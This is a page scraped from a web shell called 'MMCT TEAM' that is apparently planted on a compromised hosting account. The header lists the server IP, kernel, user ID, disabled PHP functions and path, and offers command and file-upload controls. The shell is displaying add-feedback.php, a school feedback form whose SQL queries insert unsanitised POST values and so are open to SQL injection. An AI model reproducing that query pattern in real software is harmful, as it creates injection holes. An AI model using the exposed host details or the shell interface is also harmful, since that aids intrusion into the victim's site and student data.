MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/mda/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/mda/add-feedback.php
<?php  
$page_title = 'Add Feedback';
include 'header.php';
?>
<div class="content-wrapper">
	<section class="content mt-4">
		<div class="container-fluid">
			<div class="row">
				<div class="col-md-12">
					<?php include('alert-msg.php'); ?>
					<div class="card card-primary">
						<div class="card-header">
							<h3 class="card-title"><?php echo $page_title; ?></h3>
						</div>
						<form action="add-feedback.php" method="POST" enctype="multipart/form-data">
							<div class="card-body">
							    <div class="row">
									<div class="col-md-4">
										<div class="form-group">
											<label>Student</label>
											<select class="form-control select2" name="student_id" required>
												<option value="">--Select--</option>
												<?php
												$sel_stud=mysqli_query($con,"SELECT * FROM `DimStudent_Table` where Name != ''");
												while($row_stud=mysqli_fetch_array($sel_stud))
												{
												?>
												<option value="<?php echo $row_stud['Student_ID']; ?>"><?php echo $row_stud['Name']; ?> (<?php echo $row_stud['Class']; ?>/<?php echo $row_stud['Division']; ?>)</option>
												<?php
												}
												?>
											</select>
										</div>
									</div>
									
									<div class="col-md-4">
										<div class="form-group">
											<label>Feedback Type</label>
											<select class="form-control select2" name="feedback_type" required>
												<option value="">--Select--</option>
												<?php
												$sel_type=mysqli_query($con,"SELECT * FROM `DimFeedbackType_Table` where Type_Description != ''");
												while($row_type = mysqli_fetch_array($sel_type))
												{
												?>
												<option value="<?php echo $row_type['Type_ID']; ?>"><?php echo $row_type['Type_Description']; ?></option>
												<?php
												}
												?>
											</select>
										</div>
									</div>
									
									<div class="col-md-4">
										<div class="form-group">
											<label>Question</label>
											<select class="form-control select2" name="question" required>
												<option value="">--Select--</option>
												<?php
												$sel_question=mysqli_query($con,"SELECT * FROM `DimQuestionType_Table` where Question_Text != ''");
												while($row_question = mysqli_fetch_array($sel_question))
												{
												?>
												<option value="<?php echo $row_question['Question_ID']; ?>"><?php echo $row_question['Question_Text']; ?></option>
												<?php
												}
												?>
											</select>
										</div>
									</div>
									
									<div class="col-md-4">
										<div class="form-group">
											<label>Response Value</label>
											<input type="number" name="respose_value" class="form-control" />
										</div>
									</div>
        						</div>
								<button type="submit" class="btn btn-primary" name="btnSubmit">Submit</button>
							</div>
						</form>
					</div>
				</div>
			</div>
		</div>
	</section>
</div>
<?php include 'footer.php'; ?>

<?php
if (isset($_POST['btnSubmit'])) {
    $student_id     = $_POST['student_id'];
    $type_id        = $_POST['feedback_type'];
    $question_id    = $_POST['question'];
    $response_value = $_POST['respose_value'];

    // Generate Q
    $q_result = mysqli_query($con, "SELECT MAX(Q) as max_q FROM FactFeedback_Table");
    $row_q = mysqli_fetch_assoc($q_result);
    $q = ($row_q['max_q'] ?? 0) + 1;

    // Generate Counter (count of existing similar records + 1)
    $counter_query = mysqli_query($con, "
        SELECT COUNT(*) as counter 
        FROM FactFeedback_Table 
        WHERE Student_ID = '$student_id' 
        AND Question_ID = '$question_id' 
        AND Type_ID = '$type_id'
    ");
    $row_counter = mysqli_fetch_assoc($counter_query);
    $counter = ($row_counter['counter'] ?? 0) + 1;

    // Generate Feedback_ID (like FB00003)
    $last_id_query = mysqli_query($con, "SELECT Feedback_ID FROM FactFeedback_Table ORDER BY Feedback_ID DESC LIMIT 1");
    if ($last_row = mysqli_fetch_assoc($last_id_query)) {
        $last_num = (int)substr($last_row['Feedback_ID'], 2); // remove 'FB'
        $new_num = $last_num + 1;
    } else {
        $new_num = 1;
    }
    $feedback_id = 'FB' . str_pad($new_num, 5, '0', STR_PAD_LEFT); // e.g., FB00003

    // Insert
    $insert = mysqli_query($con, "
        INSERT INTO FactFeedback_Table (Feedback_ID, Counter, Student_ID, Type_ID, Question_ID, Response_Value, Q)
        VALUES ('$feedback_id', '$counter', '$student_id', '$type_id', '$question_id', '$response_value', '$q')
    ");

    if ($insert) {
        $_SESSION['success_msg'] = "Feedback submitted successfully.";
    } else {
        $_SESSION['error_msg'] = "Failed to submit feedback.";
    }

    echo"<script>window.location='add-feedback.php'</script>";
    exit;
}

MMCT - 2023